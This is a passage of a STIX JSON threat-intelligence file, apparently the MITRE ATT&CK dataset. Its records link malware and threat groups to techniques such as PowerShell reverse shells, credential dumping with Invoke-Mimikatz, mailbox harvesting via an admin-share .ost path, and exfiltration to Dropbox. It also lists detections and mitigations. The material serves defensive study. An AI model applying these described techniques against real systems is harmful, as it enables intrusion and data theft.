2018)","relationship_type":"uses","source_ref":"tool--066b057c-944e-4cfc-b654-e3dfba04b926","target_ref":"attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cbe08a78-7997-4aef-9b29-b4b002accbc3","type":"relationship","created":"2021-11-22T16:44:34.333Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."},{"source_name":"Profero APT27 December 2020","url":"https://shared-public-reports.s3-eu-west-1.amazonaws.com/APT27+turns+to+ransomware.pdf","description":"Global Threat Center, Intelligence Team. (2020, December). APT27 Turns to Ransomware. Retrieved November 12, 2021."}],"modified":"2021-11-29T16:31:50.749Z","description":"[RCSession](https://attack.mitre.org/software/S0662) has the ability to use TCP and UDP in C2 communications.(Citation: Trend Micro DRBControl February 2020)(Citation: Profero APT27 December 2020)","relationship_type":"uses","source_ref":"malware--03acae53-9b98-46f6-b204-16b930839055","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f212430d-160e-4676-b541-8a7cb818fe6f","created":"2022-04-01T14:08:23.863Z","x_mitre_version":"1.0","external_references":[{"source_name":"Gmail Delegation","url":"https://support.google.com/a/answer/7223765?hl=en","description":"Google. (n.d.). Turn Gmail delegation on or off. Retrieved April 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"If email delegation is not required, disable it. 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Retrieved April 23, 2019."}],"modified":"2019-09-16T17:23:48.712Z","description":"[PoshC2](https://attack.mitre.org/software/S0378) has modules for brute forcing local administrator and AD user accounts.(Citation: GitHub PoshC2)","relationship_type":"uses","source_ref":"tool--4b57c098-f043-4da2-83ef-7588a6d426bc","target_ref":"attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2843712c-cf5a-45f0-9e08-444665e0d479","type":"relationship","created":"2020-11-13T18:52:29.026Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"IBM Grandoreiro April 2020","url":"https://securityintelligence.com/posts/grandoreiro-malware-now-targeting-banks-in-spain/","description":"Abramov, D. (2020, April 13). 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Retrieved January 4, 2018.","source_name":"Secureworks BRONZE BUTLER Oct 2017"}],"modified":"2019-03-22T19:57:37.432Z","description":"(Citation: Secureworks BRONZE BUTLER Oct 2017)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"tool--0c8465c0-d0b4-4670-992e-4eee8d7ff952","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bf0c68c0-c1cd-41d2-942f-0bb3e303ac08","type":"relationship","created":"2022-03-30T14:26:51.865Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.865Z","description":"Monitor processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib.","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--105a37da-145b-4143-8641-566350cd143c","type":"relationship","created":"2020-11-25T22:46:47.615Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","url":"https://www.justice.gov/opa/press-release/file/1328521/download","description":"Scott W. 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Retrieved November 25, 2020."}],"modified":"2020-11-25T22:46:47.615Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has scanned network infrastructure for vulnerabilities as part of its operational planning.(Citation: US District Court Indictment GRU Unit 74455 October 2020)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--73171e71-b769-41ff-874a-ff76da43541f","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Lotus Blossom Dec 2015","description":"Falcone, R. and Miller-Osborn, J.. (2015, December 18). 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Retrieved September 10, 2020."}],"modified":"2020-11-06T18:40:38.307Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can determine if the user on an infected machine is in the admin or domain admin group.(Citation: Cyberreason Anchor December 2019)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a9c366b6-270d-4884-86dd-7c048460741b","type":"relationship","created":"2020-05-08T17:01:36.126Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Group IB Silence Sept 2018","url":"https://www.group-ib.com/resources/threat-research/silence_moving-into-the-darkside.pdf","description":"Group-IB. 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Retrieved November 24, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[LazyScripter](https://attack.mitre.org/groups/G0140) has used PowerShell scripts to execute malicious code.(Citation: MalwareBytes LazyScripter Feb 2021)","modified":"2022-04-06T19:13:54.278Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--abc5a1d4-f0dc-49d1-88a1-4a80e478bb03","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--db85221a-3d34-4e8d-bcb1-95b507617b84","created":"2022-03-25T18:44:17.940Z","x_mitre_version":"1.0","external_references":[{"source_name":"Qualys Hermetic Wiper March 2022","url":"https://blog.qualys.com/vulnerabilities-threat-research/2022/03/01/ukrainian-targets-hit-by-hermeticwiper-new-datawiper-malware","description":"Dani, M. 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(2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.","url":"https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF"},{"source_name":"Symantec Volgmer Aug 2014","description":"Yagi, J. (2014, August 24). Trojan.Volgmer. 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Retrieved May 26, 2020."}],"modified":"2020-06-25T13:59:09.716Z","description":"[Blue Mockingbird](https://attack.mitre.org/groups/G0108) has used PowerShell reverse TCP shells to issue interactive commands over a network connection.(Citation: RedCanary Mockingbird May 2020)","relationship_type":"uses","source_ref":"intrusion-set--73a80fab-2aa3-48e0-a4d0-3a4828200aee","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a70bd01d-1d79-44e7-afe4-3a83e5a8d70c","type":"relationship","created":"2019-09-24T12:53:12.486Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT41 Aug 2019","url":"https://content.fireeye.com/apt-41/rpt-apt41","description":"Fraser, N., et al. (2019, August 7). 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Retrieved June 4, 2019."},{"source_name":"Talos Cobalt Strike September 2020","url":" https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/031/original/Talos_Cobalt_Strike.pdf","description":"Mavis, N. (2020, September 21). The Art and Science of Detecting Cobalt Strike. Retrieved April 6, 2021."},{"source_name":"Cobalt Strike Manual 4.3 November 2020","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}],"modified":"2022-02-25T18:58:14.777Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can execute a payload on a remote host with PowerShell. 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[PowerShell](https://attack.mitre.org/techniques/T1059/001) scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.","modified":"2022-04-20T00:40:01.623Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1eb48dcf-5255-4cf4-aaf4-64d3a8b7dfa8","type":"relationship","created":"2022-03-30T14:26:51.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.868Z","description":"Monitor for changes made to files that may abuse legitimate extensible development features of servers to establish persistent access to systems.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b957c285-b036-455d-a14f-8705838fd874","type":"relationship","created":"2020-05-20T12:49:50.051Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-10-15T22:47:01.056Z","description":"Limit the use of USB devices and removable media within a network.","relationship_type":"mitigates","source_ref":"course-of-action--2995bc22-2851-4345-ad19-4e7e295be264","target_ref":"attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--37528901-3205-49e4-a5bc-5d3f7a6d7341","type":"relationship","created":"2021-05-24T14:43:43.881Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BlackBerry CostaRicto November 2020","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced","description":"The BlackBerry Research and Intelligence Team. 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Retrieved March 8, 2021."}],"modified":"2021-04-10T14:49:05.906Z","description":"[GoldFinder](https://attack.mitre.org/software/S0597) logged and stored information related to the route or hops a packet took from a compromised machine to a hardcoded C2 server, including the target C2 URL, HTTP response/status code, HTTP response headers and values, and data received from the C2 node.(Citation: MSTIC NOBELIUM Mar 2021)  ","relationship_type":"uses","source_ref":"malware--b7010785-699f-412f-ba49-524da6033c76","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--89baa1ed-a6f9-4da6-9448-c74d8f8a638b","created":"2022-04-11T17:11:34.203Z","x_mitre_version":"0.1","external_references":[{"source_name":"Profero APT27 December 2020","url":"https://shared-public-reports.s3-eu-west-1.amazonaws.com/APT27+turns+to+ransomware.pdf","description":"Global Threat Center, Intelligence Team. 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(2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."}],"modified":"2021-08-04T19:47:11.050Z","description":"[NativeZone](https://attack.mitre.org/software/S0637) can display an RTF document to the user  to enable execution of  [Cobalt Strike](https://attack.mitre.org/software/S0154) stage shellcode.(Citation: MSTIC Nobelium Toolset May 2021)","relationship_type":"uses","source_ref":"malware--b4783be3-35d9-4a56-ac8d-1f3e1c9d9a84","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7a6c1581-a077-4c8f-8111-3264fa9e1e9c","type":"relationship","created":"2020-06-25T18:41:35.117Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"objective-see windtail2 jan 2019","url":"https://objective-see.com/blog/blog_0x3D.html","description":"Wardle, Patrick. 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Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk, such as <code>CopyFromScreen</code>, <code>xwd</code>, or <code>screencapture</code>.(Citation: CopyFromScreen .NET)(Citation: Antiquated Mac Malware). The sensor data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment.","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CopyFromScreen .NET","description":"Microsoft. (n.d.). Graphics.CopyFromScreen Method. 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Retrieved December 4, 2020."}],"modified":"2020-12-07T21:06:57.852Z","description":"[Crutch](https://attack.mitre.org/software/S0538) has automatically exfiltrated stolen files to Dropbox.(Citation: ESET Crutch December 2020)","relationship_type":"uses","source_ref":"malware--925a6c52-5cf0-4fec-99de-b0d6917d8593","target_ref":"attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5ec68d1c-9ba8-4f9c-b185-f4e8482a66b2","type":"relationship","created":"2021-02-08T23:18:31.901Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike Indrik November 2018","url":"https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/","description":"Frankoff, S., Hartley, B. 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Retrieved September 23, 2020."}],"modified":"2021-06-02T20:40:33.899Z","description":"[LiteDuke](https://attack.mitre.org/software/S0513) can create persistence by adding a shortcut in the <code>CurrentVersion\\Run</code> Registry key.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--95e2cbae-d82c-4f7b-b63c-16462015d35d","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a1fc4800-c670-4bc1-bc42-2b5fe66d0297","type":"relationship","created":"2020-05-18T17:43:36.737Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky MuddyWater June 2019","url":"https://www.clearskysec.com/wp-content/uploads/2019/06/Clearsky-Iranian-APT-group-%E2%80%98MuddyWater%E2%80%99-Adds-Exploits-to-Their-Arsenal.pdf","description":"ClearSky. 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Retrieved January 19, 2021."}],"modified":"2021-01-22T16:47:23.263Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has harvested data from remote mailboxes including through execution of <code>\\\\<hostname>\\c$\\Users\\<username>\\AppData\\Local\\Microsoft\\Outlook*.ost</code>.(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0b2f8d87-ea92-48a8-a895-5fe98b01d2b6","created":"2022-03-30T14:26:51.867Z","x_mitre_version":"0.1","external_references":[],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor for user accounts logged into systems that may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). 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Retrieved July 2, 2019."}],"modified":"2019-12-20T13:43:45.300Z","description":"[LoJax](https://attack.mitre.org/software/S0397) is a UEFI BIOS rootkit deployed to persist remote access software on some targeted systems.(Citation: ESET LoJax Sept 2018)","relationship_type":"uses","source_ref":"malware--b865dded-0553-4962-a44b-6fe7863effed","target_ref":"attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f9ca130a-1356-4a0a-9d38-ee7d2f9a51f6","type":"relationship","created":"2021-09-15T18:16:39.685Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike EvilCorp March 2021","url":"https://www.crowdstrike.com/blog/hades-ransomware-successor-to-indrik-spiders-wastedlocker/","description":"Podlosky, A., Feeley, B. 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Retrieved December 8, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/","source_name":"PaloAlto CardinalRat Apr 2017"}],"modified":"2019-06-10T18:25:51.850Z","description":"[Cardinal RAT](https://attack.mitre.org/software/S0348) decodes many of its artifacts and is decrypted (AES-128) after being downloaded.(Citation: PaloAlto CardinalRat Apr 2017)","relationship_type":"uses","source_ref":"malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d2ff2c76-04ed-41c4-bd35-75f7cf823aee","type":"relationship","created":"2020-06-15T14:22:33.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Falcone, R. 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Retrieved May 29, 2020."}],"modified":"2020-06-15T14:22:33.868Z","description":"[Shamoon](https://attack.mitre.org/software/S0140) will reboot the infected system once the wiping functionality has been completed.(Citation: Unit 42 Shamoon3 2018)(Citation: McAfee Shamoon December 2018)\t","relationship_type":"uses","source_ref":"malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3","target_ref":"attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--78f8338a-ac4e-42cf-a887-cc35e842dc11","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Bankshot","description":"Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. 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Retrieved March 25, 2019."},{"description":"Lee, S.. (2019, April 24). Emotet Using WMI to Launch PowerShell Encoded Code. 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(2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."},{"description":"The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.","url":"https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html","source_name":"Cylance Machete Mar 2017"},{"source_name":"360 Machete Sep 2020","url":"https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/","description":"kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries — HpReact campaign. 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Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\nNormal, benign system and network events that look like cloud service discovery may be uncommon, depending on the environment and how they are used. Monitor cloud service usage for anomalous behavior that may indicate adversarial presence within the environment.","modified":"2022-04-14T15:34:11.764Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--8c826308-2760-492f-9e36-4f0f7e23bcac","target_ref":"attack-pattern--e24fcba8-2557-4442-a139-1ee2f2e784db","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9ef81bca-b60b-4c39-91ca-38a7f5e676d9","type":"relationship","created":"2022-03-30T14:26:51.845Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.845Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--565da748-a5c8-417c-8c55-828c6e9f2c35","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos GravityRAT","description":"Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.","url":"https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"}],"modified":"2019-04-24T23:21:59.171Z","description":"[GravityRAT](https://attack.mitre.org/software/S0237) steals files based on an extension list if a USB drive is connected to the system.(Citation: Talos GravityRAT)","relationship_type":"uses","source_ref":"malware--1d1fce2f-0db5-402b-9843-4278a0694637","target_ref":"attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--35ec37ba-44aa-49b1-9379-3f6070554c62","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Camba RARSTONE","description":"Camba, A. (2013, February 27). BKDR_RARSTONE: New RAT to Watch Out For. Retrieved January 8, 2016.","url":"http://blog.trendmicro.com/trendlabs-security-intelligence/bkdr_rarstone-new-rat-to-watch-out-for/"}],"modified":"2020-03-16T19:06:33.145Z","description":"[RARSTONE](https://attack.mitre.org/software/S0055) obtains installer properties from Uninstall Registry Key entries to obtain information about installed applications and how to uninstall certain applications.(Citation: Camba RARSTONE)","relationship_type":"uses","source_ref":"malware--8c553311-0baa-4146-997a-f79acef3d831","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6c692a16-22b8-42bb-9a6b-3c25a2714cf5","type":"relationship","created":"2020-06-12T16:15:04.920Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Eset Ramsay May 2020","url":"https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/","description":"Sanmillan, I.. (2020, May 13). Ramsay: A cyber‑espionage toolkit tailored for air‑gapped networks. Retrieved May 27, 2020."}],"modified":"2020-06-12T16:15:04.920Z","description":"[Ramsay](https://attack.mitre.org/software/S0458) can collect data from network drives and stage it for exfiltration.(Citation: Eset Ramsay May 2020)\t","relationship_type":"uses","source_ref":"malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997","target_ref":"attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b7a9afc1-3bbf-4eda-9709-5392156c1e41","type":"relationship","created":"2020-06-01T15:46:47.602Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"IBM TA505 April 2020","url":"https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/","description":"Frydrych, M. (2020, April 14). TA505 Continues to Infect Networks With SDBbot RAT. Retrieved May 29, 2020."}],"modified":"2020-06-01T15:46:47.602Z","description":"[TA505](https://attack.mitre.org/groups/G0092) has used stolen domain admin accounts to compromise additional hosts.(Citation: IBM TA505 April 2020)","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c728d182-02d4-46a3-9c34-6ff0beacd274","type":"relationship","created":"2021-04-16T21:33:50.793Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity SolarWinds","url":"https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/","description":"Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."}],"modified":"2021-04-16T21:33:50.793Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has exfiltrated collected data over a simple HTTPS request to a password-protected archive staged on a victim's OWA servers.(Citation: Volexity SolarWinds)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--11e07a59-502c-44e9-9a70-03eff1433c33","created":"2022-04-15T14:02:03.777Z","x_mitre_version":"0.1","external_references":[{"source_name":"Trend Micro Iron Tiger April 2021","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Threat 